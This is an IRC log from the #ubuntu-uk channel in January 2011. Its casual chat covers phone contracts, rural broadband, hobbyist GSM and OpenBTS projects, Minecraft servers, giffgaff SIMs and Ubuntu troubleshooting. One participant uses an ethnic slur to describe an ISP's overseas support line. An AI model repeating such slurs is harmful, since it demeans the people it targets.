<HazRPG> ali1234: I was told about a year ago when I started having issues that I'd have to pay the remainder of the contract to cancel out of it
<ali1234> the grace period is usually 14 days
<HazRPG> which was about 6 months worth of Â£35
<ali1234> long enough to find out you get no signal
<HazRPG> ali1234: ah true
<ali1234> i think it is in law
<HazRPG> but I found I had great signal in that time
<ali1234> even if it isn't in the contract
<HazRPG> I had issues about 6 months down the line
<hamitron> it is
<hamitron> or at least was
<HazRPG> yeah it is in the law, I looked into it at the time
<HazRPG> anyways, I got stuck into a year and half contract, with something I had many issues with
<HazRPG> so I've reverted to telling business-related people to ring me either at home or on my PAYG o2 mobile... otherwise I'd be screwed
<ali1234> tell them to email you
<HazRPG> ali1234: I'm in cumbria, not all sit at an inbox all day long :P
<ali1234> phones do email...
<HazRPG> ali1234: some guys that I have projects with, live on farms lol
<hamitron> my last monitor had the instruction manual on cdrom :/
<ali1234> well, ok, then
<HazRPG> hehe cumbria is really backwards
<hamitron> I can't wait for an ISP to have email only for faults
<HazRPG> were a black zone for most things
#ubuntu-uk 2011-01-21
<ali1234> uh... like demon you mean?
<hamitron> ali1234: hehe
<hamitron> they have a paki support line
<ali1234> helpdesk is useless but email seems to work
<hamitron> ;/
<HazRPG> ^^, not quite
<hamitron> according to the webby, business users have UK telephone support
<HazRPG> we get internet speeds years after everyone else has been updated, and some places of cumbria are still on dial-up to this date T_T
<ali1234> there are technical reasons for that
 * hamitron can vouch for that
<HazRPG> yeah I agree, but its mainly the companies just don't want to invest in it
<ali1234> rural telephone exchanges use digital multiplexing which is not compatible with DSL
<hamitron> annoys me when people moan about 3mbit speeds
<hamitron> grrrrrrr
<ali1234> a village with 10 hourses might only have 3 physical phone lines
<ali1234> *houses
<ali1234> not horses
<hamitron> omfg
<ali1234> so when 1 person gets broadband they have to lay a whole new cable over like 10 miles which costs loads
<HazRPG> Egypt has finally upgrade their infrastructure to get at least 256Kbps to people... why can't we? (a first-world country)
<hamitron> I got 3mbit!
 * hamitron does a back flip
<ali1234> HazRPG: cairo maybe, not "the middle of nowhere"
<hamitron> rest have mud huts and get shot if they complain
<hamitron> ;)
<ali1234> i bet the situation there is no different, really
<hamitron> and they are the lucky ones
<ali1234> i doubt it's quite that bad
<HazRPG> my granddad's (RIP) farm just got it recently
<hamitron> the US has 56k users...
<HazRPG> and that's MILES away from any city
<HazRPG> hamitron: yeah but in all fairness they have more ground to cover though :P
<ali1234> distance doesn't matter if there is no multiplexing
<ali1234> it's about the number of cables in the ground
<HazRPG> heh yeah I know
<ali1234> they could give 1/4 of rural users fast DSL if they cut off the other 3/4...
<hamitron> 3dB SNR is not good I assume? ;/
<ali1234> because the digital multiplexer puts three phonelines on 1 cable
<ali1234> what they actually do is shuffle the lines around when someone cancels
<ali1234> *4 on 1, not 3
<hamitron> 3 in 4?
<hamitron> reckon cutting all the facebook users off would work then
<ali1234> 4 in 1
<hamitron> cut 3 in 4 off I mean
<hamitron> ;)
<ali1234> the mux unit works the same way as a DSL modem
<hamitron> oh ali
<HazRPG> I think I've started something here...
<hamitron> btw, did you sort that image processing out?
<ali1234> well i figured out it isn't linear
<ali1234> i never figured out if it has a name
<hamitron> did you code it?
<ali1234> um. yes?
<HazRPG> anyways, point was... I want reliable signal at home and places I visit, and going with a contract is just daft because circumstances change (for anyone) and they get stuck into a contract they hate.
<ali1234> i coded it before i even asked
<hamitron> what was the result like?
<ali1234> dunno, i'm not actually using it on "images"
<hamitron> k :)
<hamitron> HazRPG: didn't you get a cheap phone?
<hamitron> a friend of mine has 6 contracts, just for the gifts he can't afford :/
<HazRPG> hamitron: it was a Nokia 6220 Classic
<HazRPG> hamitron: so yeah
<HazRPG> I now have a Google (HTC) Nexus One
<HazRPG> but I bought that out-right
<hamitron> :)
<hamitron> I wonder how hard it is to build a phone
<HazRPG> that was the first contract phone I've ever gotten... and will be my last... not use to having locked phones :/
<HazRPG> hamitron: don't think its that hard, there are open-sourced PCB's with schematics n stuff that you can follow to make one
<ali1234> pretty hard to build a good one
<ali1234> even harder to get the software to work right
<HazRPG> there are open-sourced ones that work
<ali1234> yeah but assuming you want a phone that *doesn't* look like a ball of wires
<hamitron> I don't mind how it looks
<hamitron> :)
<hamitron> if it looks like an amature bomb, all the better
<HazRPG> haha
<ali1234> http://www.todayandtomorrow.net/wp-content/uploads/2008/02/googlephone.jpg
<HazRPG> I can't seem to find the ones I looked at anymore :/
<HazRPG> typing in open-source phone/mobile seems to pop up with android stuff :/
<hamitron> I want the first portable phone with a breadboard included
<HazRPG> hamitron: haha
<hamitron> that would be so geeky, it is cool
<hamitron> "short pins 4 and 5 for silent mode"
<HazRPG> http://www.opencircuits.com/Open_Mobile_Gadgets
<HazRPG> that might help get you started dude
<hamitron> oh ffs
<hamitron> don't encourage me
<hamitron> :/
<hamitron> I don't want to be single forever
<hamitron> ;)
<HazRPG> I use to go on there to build stupid stuff with parts I have lying around ^^
<HazRPG> hamitron: haha oops
<ali1234> all these "open" phones use off the shelf gsm modules
<HazRPG> heh, I've given up on relationships for the time being :/ too much hassle sometimes
<hamitron> tbh, my idea was to use such parts ali1234
<hamitron> :)
<hamitron> not intending to work everything out
<HazRPG> ali1234: well you'd have to... how else you going to talk with the mobile-masts ?
<ali1234> gnuradio and custom gsm firmware, duh
<ali1234> http://gnuradio.org/redmine/wiki/gnuradio
<ali1234> good luck making a portable one though
<ali1234> http://gnuradio.org/redmine/wiki/1/OpenBTS - make your own base station
<hamitron> ali goes all the way
<hamitron> :)
<HazRPG> haha
<hamitron> not happy to talk with others, he talks to himself...
<hamitron> ;)
<HazRPG> ;p
<directhex> himself and RMS
<ali1234> note that it can use asterisk to forward your calls
<directhex> i'd probably jump off a cliff at that point
<HazRPG> why do I keep thinking RMS stands for Royal Mail Ship :/
<ali1234> it stands for root mean squared...
<HazRPG> haha
<hamitron> I don't get how RMS relates :/
<HazRPG> hamitron: this is what you want: http://www.opencellphone.org/index.php?title=Main_Page
<hamitron> awww guys
<hamitron> I dunno if I can buy another phone
<hamitron> :/
<hamitron> who needs to waste Â£400 on a PSP phone
<hamitron> \o/
<HazRPG> lol
<edwardteach> tuxxy, how do you get a shellium account ?
<edwardteach> marvellous
<hamitron> can't you just sign up?
<edwardteach> no well last time i looked you have to do something silly like post yourself on youtube  dancing
<hamitron> :)
<hamitron> did you?
<hamitron> ;/
<HazRPG> why not ask #shellium on freenode ?
<edwardteach> no i dont do dancing
<HazRPG> I'm guessing you mean shellium.org right?
<HazRPG> straight out the FAQ:
<HazRPG> Why can't I login to the shell?
<HazRPG> Becasue you haven't come into the #shellium on freenode to get your shell account activated. Registering gets you access to the site and shell but we like to speak with your shortly before we give you full access to our shell.
<HazRPG> edwardteach: I just made an account on shellium with no problems
<HazRPG> just make one on the site
<edwardteach> yeah it was a while ago ..    was a whim   when i first used telnet etc ..
<HazRPG> and talk to the people @ #shellium
<HazRPG> ah lol
<hamitron> don't you get an email first?
<HazRPG> who's channel flooding?
<AlanBell> morning all
<HazRPG> howdy
<screen-x> morning :)
<HazRPG> evening ^^
<screen-x> oh dear, not been to sleep yet HazRPG?
<HazRPG> nopes
<HazRPG> I'm currently doing the night-shift (sorta) heh
<HazRPG> love working from home xD
<screen-x> have you seen the oatmeal on working from home?
<AlanBell> yay, openERP 6 just got released
<HazRPG> screen-x: nope...
<daubers> Morning
<dutchie> HazRPG: http://theoatmeal.com/comics/working_home
<dutchie> hi daubers
<daubers> Anyone know a good hitman?
<czajkowski> Aloha
<DJones> Morning folks
<daubers> o/
<danfish> morning
<danfish> daubers: that sounds ominous
<DJones> daubers: The only hitman I can think of is Brett "The Hitman" Hart, he was a decent hitman in a wrestling entertainment sort of way
<daubers> danfish: Smug distributor I really want to give a good kicking because he expects me to fix bugs in blasted Windows
<danfish> fully understandable then. Send him a stale cake as a warning?
<TheOpenSourcerer> Morning all.
<HazRPG> evening
<screen-x> daubers: I did have a good hitman, but he's retired now.
<bigcalm> Hi peeps
 * DJones wonders what the definition of a "good hitman" is, is one that carries out the hit successfully, one that refuses to do the hit because its morally wrong, or one that goes to confession afterwards
<MartijnVdS> DJones: ah, the old "quality vs quantity" debate :)
<freckle> DaveMorris: the second option is not a hitman at all
<freckle> Anyway I prefer Micheala Strachan to The Hitman
<DaveMorris> freckle: that seemed kinda weird poping up on my screen
<DJones> Heh
<HazRPG> dutchie: argh! Now I've started doing exactly like what those pictures show xD
<MartijnVdS> freckle: you want The Professional :)
<freckle> :)
<MartijnVdS> don't forget to buy him some milk
<ZMo> morning
<DJones> Hi ZMo
<gord> morning all
<diplo> morning all
<screen-x> according to NUT my UPS input voltage is 229, and the output voltage is 30940, that's quite some transforming its doing..
<Silver_Fox_> Hello.
<MartijnVdS> 30kV.. nice :)
<DJones> AlanBell: TheOpenSourcerer Any interest to you? http://www.kable.co.uk/local-government-minimising-spending-good-enough-socitm-21jan11
<gord> i really shouldn't of enabled this talking alarm clock thing on my phone, it just puts me in a bad mood when i wake up to it telling me its gonna be -3 in the uk all day :(
<kaushal> is there a way like notifier in ubuntu 10.10 for gmail wherein i get notified about the answer for the email sent by me ?
<kaushal> since my gmail account is bombarded with 1000 emails
<MartijnVdS> Living without an alarm clock++
<MartijnVdS> kaushal: filter away the messages into folders (tags..) in gmail.. have your inbox be empty except for useful mail :)
<HazRPG> heh, I do that
<HazRPG> I even made a special spam filter of my own for stuff I might read when bored
<HazRPG> usually offers from sites I frequent, and like to glance over
<HazRPG> and if I see nothing, rm all from box xD
<HazRPG> (or label/tag)
<HazRPG> why google didn't just call them folders is beyond me :/
<HazRPG> since most people don't realise that folders are in fact just special files xD
<davmor2> morning all
<popey> lo
<davmor2> popey: don't you mean "E lo"
<popey> haha
<DJones> davmor2: Thanks for that, I've now got the "Mr Blue Sky" tune rattling round my head
<brobostigon> morning all.
<Myrtti> ho-hum
<AlanBell> hi Myrtti, feeling better?
<brobostigon> morning Myrtti
<davmor2> DJones: could be worse you could have greyson chances version of paparazzi in you head http://www.youtube.com/watch?v=bxDlC7YV5is
<Myrtti> AlanBell: neck feels better, however due to family issues messing up my head I'm on sickleave
<Myrtti> so: ho-hum
<davmor2> Myrtti: :(
<Myrtti> in other news: http://www.urbanears.com/category/plattan
<Myrtti> no pink ones in stock :-<
 * davmor2 prods czajkowski to see if she managed to find her missing lung
 * czajkowski stabs davmor2 oi no prodding 
<davmor2> czajkowski: :P how you doing
<czajkowski> good bit better thanks
<davmor2> czajkowski: find your lung in the end?
<czajkowski> yeah once I woke at 5
<screen-x> \o/ replacement rack rails arrived
<screen-x>  /o\ they are exactly the same as the originals and still don't fit
<danfish> screen-x: definitely Hammer Time ;)
<bigcalm> Stop?
<MartijnVdS> HALT
<davmor2> bigcalm: Hammer Time
<bigcalm> Humm
<bigcalm> Does Seesaw not work in Chrome on Ubuntu?
<bigcalm> Just says "missing plugin" but doesn't say which one
<bigcalm> popey: mind if I mess about on your server for a while?
<directhex> bigcalm, works here
<popey> feel free
<bigcalm> Yay
<popey> want me to reset the map and op you?
 * bigcalm burns everything
<bigcalm> I have no idea what being an op would do for me
<popey> you can give yourself any item
<popey> to play with
<popey> e.g. TNT
<bigcalm> And isn't the point of a server to jointly build stuff?
<bigcalm> Ah, that's cheating :)
<popey> or dick about :)
<popey> it's not a map I am emotionally attached to
<popey> others already blew up the spawn point last night
<popey> so when you spawn you fall :)
<bigcalm> I wondered why I spawned under water
<popey> shall I restart it with a new clean map?
<popey> uncheated upon?
<bigcalm> Go on then
<popey> ok, logout
<bigcalm> Done
<bigcalm> directhex: works now, how odd
<popey> done
<popey> bigcalm: server is up, no cheating :)
<bigcalm> Ta :)
<popey> bigcalm: just gave you a saddle :)
<popey> you can ride pigs with it
<exobuzz> what game are you playing ?
<popey> minecraft
<exobuzz> oh. dont know it
<Myrtti> I just showed minecraft to dsample yesterday and he was all like "huh, and this is supposed to be fun?"
<bigcalm> popey: I wondered why I just had a saddle. Ta :)
<bigcalm> Myrtti: Looks aren't everything are they?  :)
<andylockran> hey guys! afternoon.
<andylockran> Need to write a script to trigger phone calls if email receieved to a certain address..  got asterisk setup to do the call handling.  Just wondering if anyone could give me a push in the right direction regarding 'best practise' for these kind of things?
<popey> Myrtti: it's a question of taste :)
<seeker> Mmm...taste
<bigcalm> Mud house built close to spawn point. Will do for now
<popey> Mmm...seeker
 * DJones tastes a fruit pastille
<popey> \o/ mud
<seeker> Hai Popey
<bigcalm> Though no lights yet. I'm afraid of the dark!
<gord> i managed to log into minecraft last night, i found *white* tree's
<gord> it blew my mind
<bigcalm> Silver birch by the looks of it
<popey> yeah
<popey> and black sheep
<bigcalm> The logs can't be stacked with original logs, but they yeld the same wood
<popey> and octopi
<popey> and fish!
<popey> and dye!
<popey> lots of new stuff
<popey> http://www.minecraftwiki.net/images/3/32/Template1.png
<gord> can't find any squid, its annoying, they seem to only spawn in newly generated areas
<popey> yeah
<popey> you have to go for a wander to generate a new map
<gord> thinking about just throwing all my iron/diamond/tools into lava, walking forward till i find somewhere interesting and starting again some time
<MartijnVdS> gord: rm -rf! rm -rf!
<MartijnVdS> gord: save yourself!
<gord> you have confused me
<MartijnVdS> gord: Minecrack addiction intervention team, standing by :)
<popey> i just removed the map
<popey> and it created a nice new one
<popey> also http://popeydc.dyndns.org/ <- automagically generating maps :)
<gord> i play on a server with other people, don't think they would like that
<popey> heh
<gord> http://gordallott.com/img/minecraft.png <- automagically generating map with day/night transition ;)
<popey> what do you use for that?
<gord> err i'm not sure, mc something
<gord> lemme check
<gord> mcmap :) has a git repo so you can build from there and just use a script + cron to generate and change to night
 * popey fiddles with the one he uses
<gord> there was another utility i used with it as well, it was awesome. it got the terrain biome colours into mcmap - very pretty, but it screwed up the saves :(
<gord> http://gordallott.com/img/history/history-1295553601.png looks like that during the day
 * popey tries mcmap
<popey> dutchie would like mcmap
<popey> g++ -O3 -c -Wall -fomit-frame-pointer -pedantic -DWITHPNG -I/usr/local/include main.cpp -o main.default.o
<czajkowski> ââââ  ââââ ââââ
<czajkowski> ââââ  â âââââââ
<czajkowski> â ââ  â ââ ââ â
<czajkowski> â ââââââ â ââ â
<popey>  -pedantic
 * popey jumps
<gord> i heard that eventually portals will link servers, we can link up then :)
<bigcalm> Yikes!
<czajkowski> amazing what rest will do for you
 * davmor2 prods czajkowski to judge how well she really is
 * czajkowski hugs davmor2 
<davmor2> everyone down down south call the paramedics now there's something really wrong with czajkowski
<andylockran> definitely..
<davmor2> czajkowski: I take it you're feeling something near human again then :)
<czajkowski> yeah
<popey> gord: seems no way to tell mcmap where to save the output file?
<popey> it just dumps output.png in the current dir?
<gord> popey, seems so, i just move the files in my script
<popey> ok
<popey> will do that
<davmor2> TheOpenSourcerer: did you manage to get everything transferred in the end I forgot to ask you yesterday?
<gord> there are other map software's that do a cool google maps zooming in/out thingy, but i never figured them out
<gord> my world isn't big enough anyway
<popey> http://popeydc.dyndns.org/
<popey> yay
<popey> thanks gord
<gord> :) you got some weird chunks there
<popey> yeah
<popey> i blame bigcalm
 * bigcalm looks up
 * bigcalm ponders a mote of water or lava
<exobuzz> erm. so this game. you build a world. and then what ?
<exobuzz> the website has very little info
<bigcalm> exobuzz: have a look on youtube for some videos
<bigcalm> There are lots
<ali1234> you punch trees
<gord> exobuzz, lego.
<gord> its lego
<gord> its not a game, its lego in a dynamic changing world
<exobuzz> ok.
<popey> with zombies
<popey> it's under development so stuff changes
<gord> and skeletons that sometimes ride giant spiders
<popey> http://www.minecraftwiki.net/wiki/Minecraft_Wiki is worth a look
<gord> only saw that once... live in fear now that spiders climb walls
<exobuzz> it sounds like the sort of game i should avoid, in case i like it. i mean i dont have time to fix my leanto, let alone build some virtual world out of blocks]
<exobuzz> :)
<DJones> STOP THE PRESSES... Aliens discovered in downing street, Unicorn found in field in Wales, Duke Nukem Forever given release date.  Which of those three is the most likely
<gord> exobuzz, no, you don't have time to do real world things because you are so busy in minecraft, not other way around
<MartijnVdS> DJones: Next time, lock your TARDIS
<exobuzz> gord, that was my point, hence i should avoid it :)
<seeker> DJones: The 2nd one
<popey> exobuzz: its fun!
<DJones> Heh
<seeker> 3rd may btw :P
<popey> my kids _love_ it
<exobuzz> ive not even played the humble indie bundle 1 yet.
<exobuzz> heh
<gord> i'v seen people with families hosting tiny private servers and they all play together, its adorable
<exobuzz> it looks like a nice idea though for sure
<TheOpenSourcerer> davmor2: Yes, thankyou. I ended up using lftp but it works.
<davmor2> TheOpenSourcerer: that's all that matters :)
<TheOpenSourcerer> It's still a bit cludgy... There's no way I could find to get it to do a "silent" mkdir: http://paste.ubuntu.com/556533/
 * hamitron has his giffgaff
<popey> :)
<hamitron> ty pops
<hamitron> :)
<popey> no, ty
<hamitron> so now I can spend ages considering if I should transfer my number
<hamitron> :/
<hamitron> tempted to not, then use this as a testing sim
<popey> thats what I did
<popey> i received a call on my giffgaff phone yesterday
<popey> nobody knows the number
<popey> probably automated spam
<hamitron> :(
<kazade> I've just totally reinstalled Ubuntu, installed all my apps, restored my Evolution backup, connected to U1 and back ready to work in just over 30 minutes... that's crazy
<seeker> Giffgaff?
<hamitron> be silly to phone me, I never answer
<hamitron> ;)
<popey> seeker: http://giffgaff.com/orders/affiliate/popey
<popey> :)
<hamitron> tempted :/ http://www.sparkfun.com/products/9533
<DJones> popey: Could have been a reused number, I've had that in the past
<hamitron> phone the caller yourself and demand they stop in an abusive manner
<hamitron> that normally stops it
<hamitron> but popey is maybe too nice ;)
<popey> :)
<gord> popey, unlimited data for 15 a month? really unlimited?
<diplo> heh my exact question to..! tempted as it runs on o2 network which i like
<diplo> Is unlimited really unlimited?
<diplo> The answer is yes, we are unlimited for personal mobile use - but not for commercial and automated use. Mobile Internet allowances exclude PC use and tethering.
<gord> http://www.flickr.com/photos/jumpordie/5375065392/ <-- made in inkscape, not a photo
<popey> gord: apparently
<hamitron> how can they know you are not using it for "pc use"?
<gord> interesting, might make for a good sim for my netbook
<diplo> gord, thats bloody amazing really
<hamitron> "I took my sim out of my phone, popped it into this, and after I loaded up hyperterm it said "RING RING RING" and I missed a call from my girlfriend :( This thing is pretty cool though." hehe
<hamitron> I reckon I may not transfer my number thinking about it
<hamitron> ideal for just playing with
<Myrtti> that does look good, I wonder if it would be a better deal than the 3 prepaid that I occasionally use in UK
<popey> gord: not allowed
<popey> gord: explicitly not allowed to use it in a pc / dongle or for tethering
<gord> i'm pretty sure they wouldn't be able to tell the difference ;) hell my netbook runs android! but i don't want to be an arse about it, i'm sure they have realistic (too much data usage) reasons for it
<hamitron> what about using this? http://www.sparkfun.com/products/9342
<hamitron> technically attached to a pc, but I wouldn't be using it for data
 * bigcalm takes a break from the addition
<bigcalm> addiction
<eax> Hi there - How can I change the login-screen of Ubuntu 10.10? There is no way to change it through the Login-screen from System->Administration->Login Screen
<Azelphur> eax: it uses a gnome theme and a wallpaper
<Azelphur> fail
<Azelphur> eax: it uses a gnome theme and a wallpaper
<eax> Okay, so how can I change it?
<Azelphur> some funky command, I'll try and ifnd it
<Azelphur> eax: gksu -u gdm dbus-launchÂ gnome-appearance-properties
<eax> Okay thanks :)
<eax> Hmm, nothing happens when I run it :S
<eax> It askses for a password and then immediatly shuts down
<Azelphur> :S
<eax> Yeah :/
 * Azelphur looks some more
<andylockran> argh, this is fun
<eax> Thanks :)
<andylockran> writing an asterisk function that upon receipt of an email calls all the people required for the conference.
<ali1234> how are you going to prevent it from getting massively spammed?
<Azelphur> eax: http://ubuntu-ky.ubuntuforums.org/showpost.php?p=9748001&postcount=2
<andylockran> ali1234: the email must contain a secret :p
<eax> Thanks!
<seeker> Like "andylockran wears womens underwear"
<andylockran> brilliant.. now my conference calls are going off left, right and centre
<andylockran> shorten 'to take advantage of' to one word.. exploit
<Azelphur> giffgaff activated :D
<hamitron> I shall take my time to do that, just like I do with everything else ;)
<Azelphur> hehe
<hamitron> annoyingly, I am 1 sata cable short :/
<Azelphur> speedtest.net results are good :D
<Azelphur> 4.3mbps down, 1.6mbps up
<hamitron> 3G?
<Azelphur> hsdpa
<hamitron> what speed is 2G?
<hamitron> ;/
<diplo> heh better than my internet connection here at work
<diplo> :D
<Azelphur> not sure
<hamitron> just wondered a typical speed
<hamitron> my phone only has 3.6Mb memory... but still good to know
<hamitron> ;)
<Azelphur> hamitron: 16GB Class 6 MicroSD, 1.5GB Built in :P
<hamitron> :)
<hamitron> I maybe have 1Gb MMC somewhere...
<hamitron> will look
<hamitron> not now though
<Azelphur> hamitron: owait, 512MB RAM, 1.5GB Storage, 16GB Class 6 MicroSD :P
<hamitron> are you lacking something in your pants? bragging about a phone ffs ;)
<Azelphur> :D
<hamitron> but yeh, it is nice
<hamitron> :/
<Azelphur> I can play playstation games on it too
<hamitron> that is nice
<Azelphur> hamitron: http://www.youtube.com/watch?v=N6_Nur_3JJw&feature=feedu
<Azelphur> music on the video is aptly named, "Android Porn" :P
<hamitron> Azelphur: I am not 128k internet atm ;/
<hamitron> on*
<hamitron> struggling to load pictures, nvm vids
<Azelphur> :(
<Azelphur> ah, not having VOIP blocked on my phone is awesome
<hamitron> it isn't on giffgaff?
<Azelphur> indeed
<hamitron> nice
<hamitron> I am tempted with this kit: http://www.sparkfun.com/products/479
<hamitron> then maybe an arduino
<hamitron> starting to cost as much as a phone though
<seeker> Can Azelphur run an arduino without blowing it up yet?
<hamitron> haha
<Azelphur> nope
<Azelphur> :(
<hamitron> oh yeh, I better not encourage him
<hamitron> ;)
<seeker> Fail :P
<hamitron> tbh, I never used one ;/
<hamitron> I've used some PIC devices
<hamitron> but nothing with a USB interface
<hamitron> so i may do the same :))
<HazRPG> question, can you get pidgin 2.7.9 for ubuntu 9.10 at all?
<HazRPG> cos someone can't physically update to 10.10 or 10.04 due to driver support for his video card being dropped
<hamitron> if it isn't that newer version, have you looked on launchpad, or pidgin.im?
<HazRPG> the newest on pidgin.im 2.7.9, but only works on 10.04/10
<andylockran> anyone got tips on how to use wolframalpha?
<X3N> andylockran: with low expectations?
<HazRPG> as far as I can see 2.6.6 is the last version for 9.10
<HazRPG> but I was just wondering if there was a way to get it to work on 9.10
<HazRPG> think there's a way of getting a "matrox p750" graphics card to work on ubuntu 10.10
<hamitron> HazRPG: 32 bit?
<HazRPG> I think so yeah
<hamitron> the advice I've been given is to buy another graphics card
<hamitron> ;)
<HazRPG> heh, yeah that's what I said ^^,
<hamitron> shame on you
<hamitron> I've never give out that advice
<hamitron> ;/
<hamitron> I'd*
<hamitron> my English sucks today
<HazRPG> considering that support has been quit for that card years ago...
<hamitron> so?
<hamitron> if linux left support in for older hardware, it would grab more users ;)
<HazRPG> ah, see that's were the problem lies
<HazRPG> the drivers for that card are binary drivers
<HazRPG> and are proprietary
<HazRPG> so unless someone codes for it, its not gonna exist any longer
<hamitron> guess it depends why the drivers won't work then
<hamitron> nvidia 71 drivers don't work with newer versions of X.org, because of changes to how things are done
<HazRPG> support was taken out from the latest (10.04/10) xorg apparently
<HazRPG> shocker ;p
<hamitron> support for most of mine stopped in 8.04
<hamitron> :/
<hamitron> well, 8.10
<hamitron> I can use 8.04
<hamitron> :)
<HazRPG> if you think about it, such hardware support has stopped for windows too though... so you can't really blame linux
<HazRPG> or its coders
<hamitron> I blame the throw away culture
<HazRPG> if a company no longer want to make drivers for it - or doesn't want to update, then its not going to happen unless many people want it back
<HazRPG> hamitron: agreed :/
<hamitron> I don't hold anyone responsible
<hamitron> :)
<hamitron> although, nvidia could make life easier, by providing tech docs for they unsupported cards
<HazRPG> agreed!
<hamitron> to be fair to them, they still patch the old drivers to work with newer kernels
<HazRPG> if all companies did that... we'd be laughing!
<hamitron> but ofc, they can't re-write huge parts of an old driver, just because X.org changed how it does things
<hamitron> well, they can, but can't be expected to :)
<HazRPG> ofc
<hamitron> !gcc
<lubotu3> Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first)
<hamitron> !version
<lubotu3> To find out what version of Ubuntu you have, type Â« lsb_release -a Â» in a !shell - To know the available version of a package, Â« apt-cache policy <package> Â»
<hamitron> HazRPG:
<hamitron> if you could use an older kernel, it may work
<hamitron> ftp://ftp.matrox.com/pub/mga/archive/linux/2009/1.4.7/readme.txt see section 2
 * MartijnVdS needs to stop buying bad 80s records
 * hamitron smacks MartijnVdS over the head with the Adam Ant record that was just delivered
<mgdm> MartijnVdS: Agadoo?
<MartijnVdS> mgdm: Wham :(
<mgdm> /o\
<MartijnVdS> mgdm: something to fill up the 1-for-â¬1-3-for-â¬2,50 set of 3
<MartijnVdS> I saw 3 12" singles of "Never gonna give you up" as well
<mgdm> :|
<MartijnVdS> I'm considering buying one to troll people
<MartijnVdS> they were near-mint
<hamitron> bbl, grub time \o/
<davmor2> MartijnVdS: You missed out on a treat you could rickroll people via jpeg
<MartijnVdS> davmor2: I prefer the "birthday present" route
<MartijnVdS> mgdm: I got Joshua Tree to compensate
<MartijnVdS> and Equinoxe
<mgdm> I don't know Equinoxe
<davmor2> MartijnVdS: Yeah but then there is the opportunity to get rickrolled back by on your birthday
<mgdm> Rickroll ping pong?
<MartijnVdS> davmor2: what if it's a guilty pleasure? :)
<popey> MartijnVdS: JMJ?
<daubers> Evening
<popey> Equinoxe Pt 5
<popey> love it
 * popey adds it to spotify
<X3N> have a good w/e all
<popey> o/
<davmor2> MartijnVdS: then you need to get a life for a start ;)  Nothing wrong with the ging of soul
<MartijnVdS> popey: Jarre, yes :)
<MartijnVdS> davmor2: 8-)
<davmor2> popey: you see the china tour iirc
<popey> hmm?
<popey> I saw JMJ at London Docklands - Revolution
<popey> in ~1989 ish
<popey> http://en.wikipedia.org/wiki/Revolutions_(Jean_Michel_Jarre_album)
<popey> close
<popey> 1988
<MartijnVdS> cool
<popey> more "wet" than "cool" :)
<MartijnVdS> I love the art on Equinoxe and Oxygene
<popey> yeah
<MartijnVdS> still looking for Rendez-Vous.. that one wasn't released in the Netherlands it seems :/
<MartijnVdS> discogs marketplace to the rescue ;)
<popey> uhoh uh oh...
<popey> you got me thinking of Zoolook
<popey> which had music in an Amiga game...
<popey> the name escapes me
<popey> captain blood!
<popey> http://en.wikipedia.org/wiki/Captain_Blood_(video_game)
<MartijnVdS> popey: you were one of those people running around "I have an Amiga", not knowing what "Amiga" means in Spanish? :P
<popey> I never had an Amiga
<popey> we were too poor
 * MartijnVdS was too young.. and my dad worked in IT, so we got a PC-XT-clone
<MartijnVdS> in the mid-80s
<popey> Infogrames were awesome
<MartijnVdS> No sound for u!
<popey> they made some real special games
<MartijnVdS> I've played some Infogrames games.. they are/were a French company
<popey> Sapiens was a bit special
<popey> oh no that was Loriciels
<popey> also french
<MartijnVdS> the original Alone in the Dark series
<popey> yeah!
<popey> they were great
<MartijnVdS> Loriciel had weird games
<popey> i used to watch the titles over and over
<popey> there was one with a particle acclerator accident or something?
<popey> that transported him away to a pool on a remote planet
<ali1234> another world
<MartijnVdS> I never understood the story behind AitD.. just that it was HARD
<MartijnVdS> one wrong move - dead
<ali1234> another world is probably the hardest game ever
<popey> thats it!
<ali1234> flashback is a better game and slightly less punishing
<MartijnVdS> ali1234: I prefer the Half Life series for my particle accelerator accidents :P
<popey> http://www.youtube.com/watch?v=CA2Gb3nnjYY
<ali1234> even today i cannot get past the first 3 screen of another world, even with a walkthrough and videos showing exactly what to do
<popey> heh
<MartijnVdS> I played Little Big Planet (another French product :)) a lot
<MartijnVdS> no wait
<MartijnVdS> Adventure :)
<directhex> flashback is evil
<MartijnVdS> Planet is the PS3 game :)
<directhex> MartijnVdS, my cousin made that
<MartijnVdS> http://en.wikipedia.org/wiki/Little_Big_Adventure
<MartijnVdS> directhex: all of it?
<directhex> MartijnVdS, well, his company made it
<MartijnVdS> directhex: Adeline / Delphine
<directhex> directhex, adeline
<MartijnVdS> That logo.. in high-res 640x480x8bit
<MartijnVdS> memories! :)
<directhex> http://en.wikipedia.org/wiki/Fr%C3%A9d%C3%A9rick_Raynal
<MartijnVdS> so it runs in the family then? :)
<directhex> well, family by marriage. but still!
<andylockran> gah, I forget the words sometimes.
<MartijnVdS> andylockran: "expelliarmus"
<Azelphur> popey: rofl
<Azelphur> how much ram and what type did you order?
<MartijnVdS> "a lot" apparently
<Azelphur> indeed
<Azelphur> I see 8 packs of 2 chips
<Azelphur> each pack is 2x2, so 32GB total
<Azelphur> wonder what type
<MartijnVdS> I guess he wnated 8x1
<Azelphur> o.O
<MartijnVdS> 8x1 chip instead of 8x2
<MartijnVdS> easy mistake to make :)
<MartijnVdS> I've ordered SO-DIMM instead of "regular" DIMM once :\
<Azelphur> hehe
<MartijnVdS> Azelphur: not that useful when you're building a new PC :)
<Azelphur> indeed
<Azelphur> 229MB/sec average read on my SSD with disk utility :)
<dwatkins> MartijnVdS: there are RAM manufacturers which will tell you what you need to get based on the motherboard type.
<MartijnVdS> Azelphur: what kind of ssd?
<Azelphur> corsair F40GB2
<MartijnVdS> dwatkins: I knew what kind I needed.. some sort of DDR3 of some speed
<dwatkins> ah ok, MartijnVdS
<MartijnVdS> dwatkins: but there's this price comparision site in .nl.. and you can select all kinds of details
<MartijnVdS> dwatkins: but I overlooked the "dimm/so-dimm" toggle  :)
<dwatkins> interesting, MartijnVdS - I'd like to know more
<MartijnVdS> dwatkins: tweakers.net/pricewatch
<dwatkins> thanks
<MartijnVdS> Lots of online computer (parts) stores register their prices with that site
<MartijnVdS> and there are store reviews, part reviews etc.
<MartijnVdS> price history graphs
<MartijnVdS> It's more specialized than the "ciao"s of this world :)
<gord> fyi, i loved little big planet 2 as a kid too :)
<gord> 34
<gord> er
<gord> adventure
<MartijnVdS> gord: *adventure
<gord> geeeeeez
<MartijnVdS> gord: if you liked lbp2 as a kid, you'd still be a kid :P
<gord> MartijnVdS, some might argue that is the case
<MartijnVdS> oh and coolness:
